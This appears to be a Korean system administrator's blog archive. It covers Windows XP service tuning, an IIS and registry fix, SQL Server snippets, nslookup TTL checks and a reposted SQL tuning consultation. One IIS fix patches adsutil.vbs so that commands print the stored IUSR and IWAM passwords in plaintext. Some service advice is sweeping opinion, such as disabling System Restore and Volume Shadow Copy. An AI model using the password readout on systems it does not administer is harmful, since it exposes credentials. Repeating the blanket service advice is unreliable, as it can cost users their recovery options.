초기값: 수동권장값: 사용안함

 

65 SSDP Discovery Service
홈 네트워크에 유니버셜 플러그 앤 플레이 장치를 알아채게 한다. 네트웍에 연결된 PC에서 PNP장치가 아닌 것을 찾아내는 일을 한다.

유니버설 플러그 앤 플레이는  TCP/IP 네트웍으로 스캐너나 프린터 장치에 접속하는데 쓰는 것이다.

개인 사용자에게는 전혀 필요없는 서비스 이다

초기값: 수동권장값: 사용안함

 

66 System Event Notification
COM+ Event System
서비스와 함께 돌아간다이 서비스는 로그온이나 종료와 같은 시스템 사건이 벌어진 것을 기록한다.

보통은 이러한 사건 기록이 쓸모가 없고서비스를 중지하면 이벤트 로그가 중지되었다는 메시지만 뜰 뿐   다른 문제는 생기지

않지만, 가장 기본적인 사항이기 때문에 그대로 두는 것도 괞찮은 서비스 이다

초기값: 자동권장값: 자동

 


67 System Restore Service
시스템 복구 지점을 만들고 필요한 경우 해당 지점으로 복구한다이 서비스는 특성상   많은 리소스를 잡아 먹으면서도  실제로

윈도우에 문제가 생겼을 경우에는전혀 도움이 되지 않는 서비스이다. 개인 사용자나 네트워크로 연결된 공유사용자이든지 간에

  사용안함으로 설정하기 바란다. 이서비스를 중지 했을경우 더 이상 시스템복원 기능을 사용할수없게된다 필자의 경우 고스트나 트루이미지와 같은 외우 백업 유틸을 사용하고있으며

이서비스는 중지 중이다 만약 윈도우 시스템 복원 기능을 사용하는 사용자라면 서비스를 중지하면 안된다

초기값: 자동권장값: 개인 상황에 따라 자동 또는 사용안함

 

68 Task Scheduler
이용자가 PC에서 하는 작업을 자동화하고 이것을 예약하게 한다이 서비스는 지나 관리, 백업, 자동업데이트와 같은 작업을 예약해 두는 데 쓴다그런데 이 기능을 사용해 보면 실제로는 도움이되는 경우는 적다 대부분의 사용자의 경우 자동백업이나 이러한 작업을 할경우 윈도우의 이 기능보다는 보다 전문화되어있는 다른 툴을 사용하는경우가 많고 필자 또한 그러하다

주위에서 윈도우의 작접스케줄러로 작업 예약을 사용하는 사용자는 거의 보지 못했다

도움이 되지않는 서비스이다. 하지만 간혹 구형의 윈도우 시스템 파일등을 백업하는 외부 유틸이나 오래된 유틸등에서 업데이트를 하거나 할 때 윈도우에 기본내장되어있는 작업스케줄러에 등록을해 의존하는경우가 있다 이것은 오래된 유틸리티에 해당하는것이고 요즘의 백업유틸리티등이나 기타 프로그램에서는 통상 자체적으로 스케줄러를 구현한다 만약 이서비스를 중지하여 정상적으로 동작하지 않는 프로그램이 생긴다면 그 프로그램이 윈도우 작업 스케줄러에 의존하는지의 여부를 알아보고 필요하다면 초기값인 자동으로 두고 사용하여야 할수도있다

초기값: 자동권장값: 사용안함

 


69 TCP/IP NetBIOS Helper Service
TCP/IP
에서 NetBIOS 서비스나 NetBIOS 이름확인 지원을 쓰게 한다.   NetBIOS를 쓰지 않는다면  개인 사용자는  사용안함으로 설정한다

초기값: 자동권장값: 사용안함

 

70 TCP/IP Printer Server
TCP/IP
에서 line printer 프로토콜을 쓰는 인쇄 작업을 한다. 이것은 유닉스계열의 프린트 서버를 와  사용할때 뜬다.

유닉스계열의 프린트 서버와 물려 있지 않은 PC는 사용안함으로 설정.

초기값: 자동권장값: 사용안함

 

71 Telephony
PC나 네트웍에 연결된 서버 컴퓨터에서 전화 통신 장치나 IP 기반 음성 연결을 하는 프로그램에게 TAPI(telephony API)를 한다.

인터넷 전화를  쓰지 않는 PC는 쓸모없는 서비스다. 만약에 인터넷 전화를 사용할려면  그대로 둬야된다

초기값: 수동권장값: 사용안함

 

72 Telnet
원격 이용자가 내 PC에 로그인해서 텔넷 서비스를 사용할수있게 한다개인사용자의 경우 텔넷 접속을 하는경우는 있지만 외부로부터 텔넷 접속을 허용할 이유는 없다 보안상 이유 때문이라도 사용 중지를 하자.

초기값: 수동권장값: 사용안함

 

73 Terminal Services
다른 PC의 바탕화면이나 소프트웨어와 연결하고 여러 이용자가 한 PC에 대화형으로 연결하게 한다.

개인 사용자에게는 당연히 필요가 없고, 다른 사용자들도 가급적 보안상 이유 때문이라도 중지하는 것이 좋다.

초기값: 수동권장값: 사용안함

 

74 Themes
윈도우즈XP 테마나 바탕화면 색깔을 표시하는 서비스다. 윈도우즈 테마는 리소스를 많이 잡아먹지만  이 서비스를 중지하면 XP의 루나 테마를 사용 할수 없게 된다.

(윈도우2000 의 외형으로 돌아간다, 고전 윈도우테마 외형과 동일만약 XP를 사용하는데 테마를 고전 윈도우로 두고 쓴다면 이 테마 서비스는 필요없는 서비스이다 이경우 중지를한다 또한 윈도우블라인더를 사용하여 테마를 사용하는 경우 윈도우 테마서비스를 중지한다(윈도우 블라인더의 경우 자체적으로 테마 구현하므로 윈도우 테마 서비스가 없어도 테마를 구현하는데 하등 문제가 없다) 하지만 윈도우블라인더를 제외한 다른 테마 툴들은 윈도우XP 의 테마서비스와 연동하여 구현하는것들이므로 테마 서비스를 중지하면 안된다

초기값: 자동권장값: 상황에 맞게 자동또는 사용중지

 

75 Uninterruptible Power Supply
PC와 연결한 무정전 전원 장치(UPS)를 관리한다. UPS를 달아 쓰지 않는 사람에게는 필요없는 서비스다.

UPS를 쓰는 이는 초기값 그대로 둔다.

초기값: 수동권장값: 사용안함

 

76 Universal Plug and Play Device Host
UPnP
는 네트웍으로 다른 PC와 연결한 스캐너나 프린터에 접속하는데 필요한 서비스다. 네트웍으로 다른 장치를 쓰지 않는 PC는 필요없는 서비스다. (랜으로 구성되어있는 다른 PC에 연결된 프린터를 사용한다거나 할경우 이 서비스를 기본값으로 두어야 한다)

초기값: 수동권장값: 사용안함

 

77 Upload Manager
네트워크에서 클라이언트와 서버가 파일을 동기나 비동기 전송할 때 필요한 서비스다. 따라서 개인 사용자에게는 필요없는 서비스 이다.

초기값: 수동권장값: 사용안함

 

78 Volume Shadow Copy
백업이나 다른 목적에 쓰는 볼륨 새도 복사 파일을 관리한다. 이 서비스를 중지해도 이벤트 로그에 알림 메시지만 뜰 뿐 다른 문제는 일어나지 않는다.

초기값: 수동권장값: 사용안함

 

79 WebClient
윈도우에서 돌아가는 소프트웨어가 인터넷으로 연결한 웹페이지 파일을 고치거나 읽게 한다. 이 서비스가 이용되는 경우가 전무하다. 사용안함으로 설정한다

초기값: 수동권장값: 사용안함

 

80 Windows Audio
윈도우에서 돌아가는 프로그램이 지닌 오디오 장치를 관리한다음악을 들을 때 필요한 서비스이다.

이서비스를 중지하면 윈도우에서 어떠한 소리도 들을수 없을것이다

초기값: 수동권장값: 자동

 

81 Windows Image Acquisition (WIA)
윈도우가 스캐너나 카메라를 알아채게 한다. 만약 자신의 시스템에 디지털 카메라나 스캐너와 같은 이미징 장치가 연결되어있다면 내텀퓨터를 열었을경우 그 목록에 이 이미징 장치가 표시가 된다

하지만 이 서비스를 중지하더라도 이러한 장치들을 사용할수 없는 것은 아니다 다만 내컴퓨터상에 표시만 되지 않을뿐 이들 장치들과 함께 제공된 전용 툴만을 사용한다면 이서비스를 중지 하여도 문제없다 참고로 필자의 경우 USB로 연결되어있는 캠이있는데 이서비스를 사용할경우 내컴퓨터상에

이미징 장치로 목록에 뜬다 하지만 필자는 이서비스를 중지 중이며 함께 제공된 캠구동프로그램이나

외부 캠구동 툴(하우리) 등을 사용하여 집적 장치에 액세스 하여 사용중이다

초기값: 수동권장값: 자신의 최향에 맞게 수동 또는 사용안함

 

82 Windows Installer
확장자 MSI 파일에 적혀 있는 스크립에 따라 소프트웨어를 설치하거나 복구, 제거한다.

이 서비스를 멈추면 .msi 파일로 패킹된 프로그램을 설치하지 못하게 된다.

MS사에서 요즘 출시되는 어플리케이션의 경우 윈도우를 제외하고 패치까지 MSI 로 패키징되어 출시된다 (대표적으로 MS오피스 등) 기본값으로 그대로 둔다

초기값: 수동권장값: 수동

 

83 Windows Management Instrumentation
서비스 설정 화면에 보이는 버튼을 나타내거나 버튼이 가리키는 설정 창으로 옮기는 일을 한다.

정보에 접근하는 공용 인터페이스나 개체 모델을 제공한다. ‘자동값 그대로 두는 것이 좋다.

초기값: 자동권장값: 자동

 

84 Windows Management Instrumentation Driver Extension
Windows Management Instrumentation
서비스와 관련한 드라이버 정보를 건내주는 일을 한다. 수동 값 그대로 두는 것이 좋다.

초기값: 수동권장값: 수동

 


85 Windows Time
네트웍에서 모든 클라이언트나 서버 컴퓨터의 날짜와 시간을 맞추는 일을 한다.

작업표시줄의 우측하단에 시계가 있을것이다 이곳으 ㄹ더블클릭하여 나오는 날짜 및 시간 등록정보에서 인터넷시간 탭이있는데 이서비스를 이용하는 곳이다

PC에서는 인터넷 시간서버를 이용해서 시계를 정확하게 맞추는 일을 한다.  7일마다 시간을 맞추기 때문에  나머지  7일 동안은 자원을 낭비하는 셈이지만  그래도 그대로 두는 것이 좋다. 아니면 사용안함으로 변경하고는, 전문적으로 시간을 동기화 해주는 툴을 사용하는것도 좋다

필자는 POP3 메일체커를 사용중인데 이 툴에 시간동기화 기능이 함께 있어 본 서비스는 중지중이다

본 필자처럼 다른 툴을 사용하지 않는다면 그대로 두는 것이 좋다 실제 시간과 시스템의 시간은 시간이 갈수록 조금씩 엇갈리게 되는데 그 간격이 벌어질수록 윈도우 파일관리에 문제가 생길 수 있다

초기값자동권장값: 상황에 따라 자동 또는 사용안함

 

86 Wireless Zero Configuration
윈도우가  무선 네트웍 장치를 알아채게 한다무선LAN을 쓰지 않는다면 쓸모없는 서비스다.

초기값: 수동권장값: 사용안함

 

87 WMI Performance Adapter
WMI HiPerf
공급자에게 성능 라이브러리 정보를 건내준다. 일반적으로는 사용하지  않는 서비스이다.

초기값: 수동권장값: 사용안함

 

88 Workstation
PC가 다른 PC에 접속할 때 필요한 서비스다. 클라이언트 PC의 원격 서버 연결을 만들고 관리한다.

인터넷 접속이나 파일 공유, 프린터 공유 일을 하는 것이다. 기본값 자동을 그대로 두는 것이 좋다.
초기값: 자동권장값: 자동


89 World Wide Web Publishing Service
인터넷 정보 서비스(IIS) 스냅인을 써서 웹 연결이나 관리를 한다. PC에서 웹서버를 돌릴 때 쓰는 서비스인 것이다. 기본으로 IIS는 설치되어있지 낳다 XP PRO버전의 경우 설치 CD에서 수동으로 설치 할 수 있긴 하다.

초기값: 자동권장값: 사용안함

Posted by 시스템매니아
,

현상

서버에 로드가 많은 경우 서버에 페이지된 풀 메모리가 부족하다는 다음 오류를 서버 서비스가 시스템 이벤트 로그에 반복적으로 기록할 수 있습니다.
원본 - SRV
종류 - 오류
이벤트 ID - 2020
설명 -

풀이 비었으므로, 서버가 시스템의 페이지된 풀에서 할당하지 못했습니다.
데이터 -
0000: 00040000 00540001 00000000 c00007e4
0010: 00000000 c000009a 00000000 00000000
0020: 00000000 00000000 0000000b

원인

몇 가지 요소로 인해 페이지된 풀 메모리의 공급이 부족해질 수 있습니다. 풀 태그 기능을 설정하고 몇 차례 간격을 두고 풀스냅(poolsnap)하면 페이지된 풀 메모리를 사용하고 있는 드라이버를 확인하는 데 도움이 될 수 있습니다. MmSt 태그(Mm 섹션 개체 프로토타입 PTE)가 페이지된 풀 메모리를 가장 많이 사용하고 있고 페이지된 풀 메모리가 삭제되었거나 시스템 로깅 오류 이벤트 2020이 발생한다는 것이 풀스냅을 통해 확인하면 서버에 매우 많은 파일이 열려 있는 것일 수 있습니다. 기본적으로 시스템이 총 페이지된 풀의 80%에 도달하면 메모리 관리자가 할당되어 있는 페이지된 풀 메모리를 해제하려고 합니다. 시스템 구성에 따라 최대 페이지된 풀 메모리의 크기는 343MB이며 이것의 80%는 274MB입니다. 메모리 관리자가 페이지된 풀 요구를 충족시킬 수 있을 만큼 빠르게 해제할 수 없으면 이 문서의 "현상" 절에서 설명하는 이벤트가 발생할 수 있습니다. 메모리 해제 프로세스를 보다 일찍 시작하도록(예: 총 페이지된 풀의 60%에 도달할 때 시작) 메모리 관리자를 조정하면 사용량이 갑자기 증가할 때도 페이지된 풀 요구를 충족시킬 수 있으며 페이지된 풀 메모리가 부족해지는 문제를 막을 수 있습니다.

해결 방법

경고 레지스트리 편집기나 다른 방법을 사용하여 레지스트리를 잘못 수정하는 경우 심각한 문제가 발생할 수 있습니다. 이 문제를 해결하려면 운영 체제를 다시 설치해야 할 수도 있습니다. Microsoft는 문제에 대해 해결을 보증하지 않습니다. 레지스트리의 수정에 따른 모든 책임은 사용자에게 있습니다.
다음의 조정 권장 사항은 문제를 줄이는 데 도움이 됩니다.
1. 레지스트리 편집기(Regedt32.exe)를 시작합니다.
2. 레지스트리에서 다음 키를 찾아 누릅니다.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Memory Management
3. 편집 메뉴에서 값 추가를 누르고 아래와 같은 레지스트리 값을 추가합니다.
값 이름: PoolUsageMaximum
데이터 형식: REG_DWORD
기수: 10진수
값 데이터: 60
값을 60으로 설정하면 기본 설정인 80%가 아니라 PagedPoolMax의 60%에서 메모리 해제 프로세스를 시작하도록 메모리 관리자에게 알립니다. 60%의 임계값이 증가하는 사용량을 처리하기에 부족하다면 이 설정을 50%나 40%로 줄이십시오.
값 이름: PagedPoolSize
데이터 형식: REG_DWORD
기수: 16진수
값 데이터: 0xFFFFFFFF
PagedPoolSize를 0xFFFFFFFF로 설정하면 컴퓨터에 다른 리소스 대신 최대 페이지된 풀을 할당합니다.
4. 레지스트리 편집기를 끝냅니다.
5. 변경 내용이 적용되도록 서버를 다시 시작합니다.

출처 : http://support.microsoft.com/default.aspx?scid=kb;ko;312362
Posted by 시스템매니아
,
Switch로그인
en
ping ip
sh arp(ip의 Mac 확인)
sh mac-address-table add 'ip의 Mac주소'
Posted by 시스템매니아
,

MS-SQL table 복사

MS-SQL 2008. 8. 8. 11:01
전체 table복사

insert into aaa_new
select * from aaa

조건 이용 부분 table복사
insert into aaa_new
select top 34500 * from aaa where date_rec >= '2003-08-01' order by date_rec
Posted by 시스템매니아
,

개체소유자변경
-해당 DB에 테이블의 소유자는 전부 dbo로 변경됨
SP_MSFOREACHTABLE 'sp_changeobjectowner ''?'' , ''dbo'''

Posted by 시스템매니아
,

Collaction 정보역시 마찬가지 인데요 이것은, SQL Server의 기본 데이터 정렬을 설정하는 옵션 입니다. MSSQL 을 설치할 때 대부분 Korean_Wansung_CI_AS 으로 설정을 하게 됩니다. 이것의 의미는 "한국어_완성형 문자" 라는 의미 입니다.

테이블에 데이타를 입력할경우, 특정칼럼 기준으로 정렬할경우 완성형으로 비교 판단 하게 되겠지요.

SELECT * FROM ::fn_helpcollations()
GO

쿼리분석기에서 위의 명령을 내리면, MSSQL에서 지원하는 Collaction 정보들이 나오게 됩니다.

Collaction 정보를 변경하고자 한다면,

ALTER DATABASE CollateDb
COLLATE Korean_Wansung_CI_AI
GO

이렇게 하시면 됩니다.

확인은 아래처럼 하시구요...

EXEC sp_helpdb 'CollateDb'
GO

이렇게 했을때 오류가 발생할 수도 있습니다.

"칼럼 'xxx'는 데이터베이스 데이타 정렬에 종속되어 있습니다."

위의 오류가 나타나면, 데이터베이스에 있는 개체들이 데이터베이스의 정렬에 종속되어 있는 경우에 발생되는 오류입니다. 따라서 해당 개체들을 다른 Collation으로 변경을 한 다음에 데이터베이스 Collation으로 변경을 하셔야 합니다.

아래는 Collaction 의 변경에 대한 구문입니다.

Korean_Wansung_CI_AI  으로의 변경

ALTER TABLE 테이블명
ALTER COLUMN 칼럼명 VARCHAR(50) COLLATE Korean_Wansung_CI_AI
GO

ALTER TABLE 테이블명
ALTER COLUMN 칼럼명 VARCHAR(50) COLLATE SQL_Latin1_General_CP1_CI_AS 
GO

sp_help 테이블명 을 통해서 결과를 확인해 보시면 되겠습니다.

만약  아래와 같은 메시지가 나왔다면,

-------------------------

서버: 메시지 5074, 수준 16, 상태 8, 줄 1
개체 'pk_테이블명은'은(는) 열 '칼럼명'에 종속되어 있습니다.
서버: 메시지 4922, 수준 16, 상태 1, 줄 1
하나 이상의 개체가 이 열을 액세스하기 때문에 ALTER TABLE ALTER COLUMN '칼럼명'이(가) 실패했습니다.

-------------------------

온라인 설명서에서 "데이터 정렬 변경"이라는 제목의 문서를 보시기 바랍니다.

애러의 원인은 다음과 같습니다.

------------------------

현재 다음 항목에서 참조하는 열의 데이터 정렬은 바꿀 수 없습니다.

계산된 열
인덱스
자동으로 또는 CREATE STATISTICS 문에 의해 생성된 배포 통계
CHECK 제약 조건
FOREIGN KEY 제약 조건
------------------------

 기본키 제거 -> Collation 변경 -> 기본키 재생성 의 순서에 따라서 Collation의 정보를 변경 하시면 됩니다.

Posted by 시스템매니아
,

select table_name = convert(varchar(30), min(o.name)), table_size = ltrim(str(sum(reserved) * 8192 / 1024.,15,0) + 'KB')
from sysindexes i inner join sysobjects o on (o.id = i.id)
where i.indid in (0, 1, 255) and o.xtype = 'U'
group by i.id
go

Posted by 시스템매니아
,
DNS백업시 %SystemRoot%\system32\dns폴더와 레지스트리의 DNS Zones을 백업하게 되는데

Windows2000과 Windows2003의 레지스트리의 DNS Zones 위치가 다릅니다.

Windows2000 :

[\HERY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Zones]

Windows2003 :

[\HERY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\DNSServer\Zones]
Posted by 시스템매니아
,

C:\boot.ini파일 수정

/fastdetect /3GB /Userva=3030

Posted by 시스템매니아
,
Windows2000의 IIS5.0에서 TEST되었음.

브라우저의 오류 메시지:
HTTP 500 - 내부 서버 오류
또는
Server Application Error
The server has encountered an error while loading an application during the processing of your request. Please refer to the event log for more detail information. Please contact the server administrator for assistance.

시스템 이벤트 로그의 오류 메시지:
원본: DCOM
오류: DCOM에 "로그온 실패: 알 수 없는 사용자 이름이거나 암호가 틀립니다." 오류가 발생했으며 서버를 실행하기 위해 .\IWAM_SERVERNAME에 로그온하지 못했습니다.

원본: W3SVC
오류: 서버가 '/LM/W3SVC/1/Root/op' 응용 프로그램을 로드하지 못했습니다. 오류는 '구성된 식별자가 올바르지 않아 서버 프로세스를 시작하지 못했습니다. 사용자 이름과 암호를 점검하십시오.'입니다.
또는
원본: W3SVC 오류: "서버가 '/LM/W3SVC/4/Root/' 응용 프로그램을 로드하지 못했습니다. 오류는 'c000003b'입니다."

원본: W3SVC 오류: "COM 응용 프로그램 '{3D14228D-FBE1-11d0-995D-00C04FD919C1}'('/LM/W3SVC/4/Root')이(가) Out of Process를 활성화하지 못했습니다."

1. C:\Inetpub\AdminScripts\Adsutil.vbs파일을 Notepad로 엽니다.
2. 편집 메뉴에서 찾기를 누르고 IsSecureProperty = True를 입력한 후 다음 찾기를 누릅니다.
3. "IsSecureProperty = True"를 "IsSecureProperty = False"로 변경합니다. 저장후 닫음
4. 도스창에서 IUSR 계정 암호 알아내기 cscript.exe adsutil.vbs get w3svc/anonymoususerpass
5. 도스창에서 IWAM 계정 암호 알아내기 cscript.exe adsutil.vbs get w3svc/wamuserpass
6. 내컴퓨터-관리-시스템도구-로컬사용자 및 그룹 - 사용자로 이동
7. IUSR계정과 IWAM계정의 패스워드를 위에서 확인한 패스워드로 수정하여줍니다.
8. 서비스에서 IIS Admin Service 재시작합니다
Posted by 시스템매니아
,
도메인정보 수정후 수정내용을 확인시 nslookup으로 해당 정보가 바뀌었는지를 확인합니다.

변경된 정보가 네임서버에 반영될려면 네임서버정보중 ttl값이라는 것이 영향을 미치는데
네임서버에서 이 ttl값이 얼마나 남았는지 확인하는 방법입니다.

먼저 nslookup 콘솔로 들어갑니다.

# nslookup
>

옵션중 debug라는 옵션을 켭니다.

> set debug

querytype을 SOA로 변경합니다.

> set querytype=SOA

도메인정보를 입력합니다.

> kldp.org

Server: ns.gihc.net
Address: 203.235.122.164

;; res_nmkquery(QUERY, kldp.org, IN, SOA)
------------
Got answer:
HEADER:
opcode = QUERY, id = 29106, rcode = NOERROR
header flags: response, want recursion, recursion avail.
questions = 1, answers = 1, authority records = 2, additional = 2

QUESTIONS:
kldp.org, type = SOA, class = IN
ANSWERS:
-> kldp.org
ttl = 913 (913)
origin = ns.nuri.net
mail addr = dnsmaster.gihc.net
serial = 2002090200
refresh = 3600 (1H)
retry = 600 (10M)
expire = 864000 (864000)
minimum ttl = 3600 (1H)
AUTHORITY RECORDS:
-> kldp.org
nameserver = ns.nuri.net
ttl = 176 (176)
-> kldp.org
nameserver = ns2.nuri.net
ttl = 176 (176)
ADDITIONAL RECORDS:
-> ns.nuri.net
internet address = 203.255.112.34
ttl = 44145 (44145)
-> ns2.nuri.net
internet address = 203.255.112.4
ttl = 44164 (44164)

------------
Non-authoritative answer:
kldp.org
ttl = 913 (913)
origin = ns.nuri.net
mail addr = dnsmaster.gihc.net
serial = 2002090200
refresh = 3600 (1H)
retry = 600 (10M)
expire = 864000 (864000)
minimum ttl = 3600 (1H)

Authoritative answers can be found from:
kldp.org
nameserver = ns.nuri.net
ttl = 176 (176)
kldp.org
nameserver = ns2.nuri.net
ttl = 176 (176)
ns.nuri.net
internet address = 203.255.112.34
ttl = 44145 (44145)
ns2.nuri.net
internet address = 203.255.112.4
ttl = 44164 (44164)

위와같이 네임서버에 남은 ttl시간이 표시됩니다.

언제 바뀔지 기다리지 말고 얼마나 남았는지 확인할수 있습니다.
Posted by 시스템매니아
,

출처 : dbguide.net 에 올려진 SSA 성대중 책임 컨설턴트 님의 글

해결! DB D&A>> 중소기업을 위한 SQL Server 기본 모니터링 - 3

악성 쿼리 진단

 

연재 순서

1 시스템 진단(백업 시스템 현황, 디스크 현황)  /  2 서버 점검 운영 진단  /  3 쿼리 진단(악성 쿼리) 기타 논의 사항

 

4. 쿼리 진단

<전문가> 애플리케이션 성능의 경우 애플리케이션에서 데이터베이스로 호출할 문제가 있는데, 부분은 파워빌더로 개발하면서 오류가 발생한 같다. 이것은 직접 수정하기는 어려운 상황이니까, 쿼리 상에서 오류점이 있는지 살펴보고 수정을 하도록 하겠다.

<전문가> attention 되는 부분을 중심으로 살펴보면, 테이블 디자인이 잘못 되어 있는 것이 있다. tb_szd20 테이블의 경우, 모든 컬럼이 varchar(510)으로 설정되어 있다. 물론 실제 저장된 데이터는 이보다 작은 값으로 저장되어 있지만, 만약 전체 칼럼의 합이 8000Bytes 이상이 되면, 저장시 오류가 발생한다. 부분은 개발과정에서 담당자의 실수로 인한 것으로 판단되기 때문에, 적절하게 수정되어야 한다. 또한 인덱스를 생성하기 위해서도 컬럼의 길이를 조정해야 필요가 있다. PGM_ID 칼럼을 varchar(10) 변경하고, 인덱스를 추가하면 성능에 도움이 것이다.

해결 쿼리 1>>

select PGM_ID, PGM_NM FROM comm.dbo.tb_szd20 WHERE pgm_id ='saa02'

 

증상)

테이블 스캔 발생

 

문제원인)

PK 없음, 데이터모델링 오류(모든 칼럼이 VARCHAR(510)으로 되어 있음)

 

문제해결)

PK 추가

alter table tb_szd20 add constraint PK_tb_szd20 PRIMARY KEY (PGM_ID)

 

칼럼 데이터형식 변경

alter table tb_szd20 alter column PGM_ID varchar(10) not null

alter table tb_szd20 alter column PGM_NM varchar(50) not null

 

<전문가> 출하 업무 부분에서 출하 부분(수주 번호) 인덱스를 가지고 있는데, 검색시 날짜 조건을 요구하다 보니 프로세싱이 원활하지 않다. 검색 조건을 지원하기 위한 인덱스를 추가해야 한다.

<신청자> 프로그램에서 검색 목록을 선택할 , 어떤 목록을 선택하느냐에 따라 속도가 많이 차이 난다.

해결 쿼리 2>>

SELECT  v11.SAL_DT             AS            SAL_DT,

                                                     v11.SAL_NO            AS            SAL_NO,

                                                     v11.CUST_CD         AS            CUST_CD,

                                                     … (중간생략)

                                                     v11.REMARK           AS            REMARK

FROM      TB_SAA20               v11,

                                                     TB_SZA10                v12

                   WHERE v11.SAL_DT             >=                               '20070501'

                     AND   v11.SAL_DT             <=                               '20070521'

                     AND   v11.CUST_CD         LIKE         RTRIM(LTRIM('')) + '%'

                     AND   v11.CUST_CD         *=                               v12.CUST_CD

ORDER BY               v11.SAL_NO DESC

 

증상)

테이블 스캔 발생

 

문제원인)

검색 조건에 지원하기 위한 인덱스 누락(SAL_NO 에만 인덱스 존재)

 

문제해결)

인덱스 추가

create index IX_SAL_DT ON TB_SAA20(SAL_DT,CUST_CD)

 

<전문가> 현재 시스템에서 가장 많은 I/O 발생시키는 쿼리를 찾기 위해, 프로필러에서 Read 컬럼이 1000보다 쿼리를 추적하였다. 가장 문제가 되는 쿼리를 보면, ITEM_NAME() 이라는 사용자정의 함수를 SELECT 절에서 반복 호출하고 있다. 또한 ITEM_NAME() 사용자정의함수의 내부 코드를 분석한 결과, 쿼리를 지원하기 위한 인덱스가 전혀 없는 상태이고, 테이블의 칼럼의 데이터형도 잘못 설정되어 있는 상태이다.

<신청자> 거래처 공통 코드 불러오는 부분이다.

<전문가> 잘못된 칼럼 길이를 수정해서라도, 인덱스를 만들어 주면 성능을 개선할 있다. TB_SZC10 테이블의 GRP_CD 칼럼과 KND_CD 칼럼에 인덱스를 생성해 주면 된다.

해결 쿼리 3>>

SELECT  v11.SAL_NO                              AS            SAL_NO,

                  v11.SAL_SQ                              AS            SAL_SQ,

                  v11.SAL_DT                              AS            SAL_DT,

                  … (중간생략)

                  SALE.DBO.ITEM_NAME(V11.ITEM_CD, '1')          AS            STY_NM,

                  RTRIM(LTRIM(SALE.DBO.ITEM_NAME(V11.ITEM_CD, '2'))) + ' * ' +

                  RTRIM(LTRIM(SALE.DBO.ITEM_NAME(V11.ITEM_CD, '3')))                 AS            ITEM_SIZE,

                  SALE.DBO.ITEM_NAME(V11.ITEM_CD, '4')                            AS            COLO_NM,

                  SALE.DBO.ITEM_NAME(V11.ITEM_CD, '5')                            AS            GRAD_NM,

                  … (중간생략)

                  v11.REMARK                             AS            REMARK

  FROM  TB_SAA21               v11,

                  TB_SZA10                v12

                   WHERE v11.SAL_NO            =                                 '200705020003'

                     AND   v11.CUST_CD         *=                               v12.CUST_CD

  ORDER BY           v11.SAL_NO,

                                                     SUBSTRING(v11.ITEM_CD, 1, 1) +

                                                     SUBSTRING(v11.ITEM_CD, 12, 2) +

                                                     SUBSTRING(v11.ITEM_CD, 2, 10)

 

증상)

과도한 IO 발생

 

문제원인)

SELECT 절에 반복적으로 사용되는 dbo.ItemName() 사용자정의함수의 문제

 

문제원인)

PK 없음, 데이터모델링 오류(모든 칼럼이 NVARCHAR(510)으로 되어 있음)

 

문제해결)

칼럼 데이터형식 변경

alter table TB_SZC10 alter column GRP_CD nvarchar(4) not null

alter table TB_SZC10 alter column KND_CD nvarchar(20) not null

PK 추가

alter table TB_SZC10 add constraint PK_TB_SZC10 PRIMARY KEY (grp_cd,knd_cd)

 

성능이 20 이상 개선됨

개선사항>> 현재 데이터베이스에 있는 데이터 모델에 칼럼이 시스템 설계서와 다르게 구성되어 있는 부분도 많고, 인덱스 전략도 누락된 부분이 있는 것으로 판단된다. 또한 불필요한 사용자정의 함수의 반복호출로 인해 과도한 IO 발생하고 있다. 이에 대해서는 시간을 가지고 접근해야 하는 상황으로 보인다. 우선, 월말 결산 시점의 쿼리를 수집하여 추가적인 점검을 해야 하는 상황이라고 판단된다. 이를 위해 템플릿으로 5월말 결산시점의 쿼리를 수집하여 결과를 전달해 주기를 요청했다.

 

5. 기타 논의 사항

<전문가> 문제 상황을 진단하는 방법에 대해서는 일단 설명을 했지만, 문제 상황을 파악한 이를 직접 해결하는 것은 좀더 교육이 필요할 같다. 일단 비전문가이지만, 업무를 맡은 이상 기본적인 교육을 받고, 유지 관리를 하는 것이 바람직할 같다.

<신청자> 그래도 점이 고민이 된다. DBA 없는 상황에서, 교육을 받는 것이 좋을지, 아웃소싱을 하는 것이 좋을지.

<전문가> 아웃소싱을 하더라도 회사 내에 DB 대한 관리를 있는 주체는 필요하다. 아웃소싱으로 들어오는 인력들이 내부 담당자만큼 업무를 파악하거나 설계상의 문제까지 고려해서 관리해주긴 힘들다. 적어도 어떤 문제가 있고, 이것이 어떤 방법들로 해결될 있는지를 아웃소싱 담당자와 협의해서 결정할 있는 내부의 주체는 필요하다. 그러려면 아웃소싱을 하더라도 기본적인 교육을 통한 지식 획득이 필요하다고 본다.

<신청자> 다른 회사들은 주로 어떻게 관리하나. DBA 있나?

<전문가> 몇몇 대기업을 제외하곤, DBA 있는 경우가 드물다. DBA 있더라도 해당 업무 DB 전담하는 경우도 별로 없다. 결국 전산 관리자가 DB 관리를 책임지는 경우가 대부분이라고 있다.

<신청자> 어떻게 관리를 하면 좋을지. 평소에 관리할 시간은 부족하고, 그러다 문제가 발생하면 어디부터 손을 대야 할지 막막하다.

<전문가> 얘기한 사항이 사실 상충되는 부분이다. 평소에 관리를 하면, 문제가 생길 것이고, 문제가 생기더라도 어떤 부분이 문제인지 빨리 찾아 해결할 있다. 하지만 평상시에 방치하면, 당연히 문제 지점을 찾기가 어렵다. 지금까지 설명한 순서대로 적어도 2(마감 /) 사전 모니터링을 하면, 원인을 찾기 힘든 문제는 발생하지 않을 것이다.

Posted by 시스템매니아
,

출처 : dbguide.net 에 올려진 SSA 성대중 책임 컨설턴트 님의 글  

해결! DB D&A>> 중소기업을 위한 SQL Server 기본 모니터링 - 2

SQL 서버 설정과 테이블 컬럼 점검

 

연재 순서

1 시스템 진단(백업 시스템 현황, 디스크 현황)  /  2 서버 점검 운영 진단  /  3 쿼리 진단(악성 쿼리) 기타 논의 사항, 전문가 총평

 

2. SQL 서버 설정 점검

2-1. 데이터베이스 관리 기능 점검

<전문가> 애플리케이션 성능 이슈를 제기했는데, 스펙으로 봐선 시스템 상의 문제는 아닌 같다. DB D&A 신청서에는 미처 적지 못한, 성능상의 구체적인 문제점이 무엇이었나.

